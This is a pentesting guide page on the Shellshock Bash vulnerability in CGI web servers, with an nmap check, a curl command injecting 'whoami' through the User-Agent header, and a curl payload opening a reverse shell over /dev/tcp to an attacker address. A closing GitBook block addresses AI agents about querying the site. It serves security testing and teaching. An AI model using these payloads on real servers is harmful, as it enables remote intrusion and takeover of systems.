> For the complete documentation index, see [llms.txt](https://the-pentesting-guide.marmeus.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-pentesting-guide.marmeus.com/web/shellshock.md).

# Shellshock

## Introduction

ShellShock or (CVE-2014-7169 & CVE-2014-6271) allows arbitrary code execution after creating an environment variable in **Bash**. However, the problem resides in that some web servers, such as apache, support Common Gateway Interface (CGI). This feature allows CGI applications to perform Operating System operations by interacting with the command line interface like SH or Bash.

Furthermore, the value of `USER-AGENT` in an HTTP request is an input field that is commonly used in CGI applications to define variables. Manipulating the value of the `USER-AGENT` variable, it is possible to obtain remote code execution.

## Exploitation

### Check if it works

The script executes a command that prints a random string and then attempts to find it inside the response body.

```
nmap <TARGET> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

Should return the user who is executing the webserver.

```
curl -H 'User-Agent: () { :; }; /bin/bash -c whoami' http://<TARGET_IP>/cgi-bin/<app>.cgi
```

### Reverse shell

```
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<A_IP>/443 0>&1' http://<TARGET_IP>/cgi-bin/admin.cgi
```

Alternative exploit: [Link](https://www.exploit-db.com/exploits/34900)

## References

* [ShellShock puede afectar a tu web, tu Linux, tu Mac OS X, tu router, tu punto de acceso WiFi o tu switch](https://www.elladodelmal.com/2014/09/shellshock-puede-afectar-tu-web-tu.html)
* [The ShellShock Attack](https://www.exploit-db.com/docs/48112)
* [Exploiting CGI Scripts with Shellshock](https://antonyt.com/blog/2020-03-27/exploiting-cgi-scripts-with-shellshock)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://the-pentesting-guide.marmeus.com/web/shellshock.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
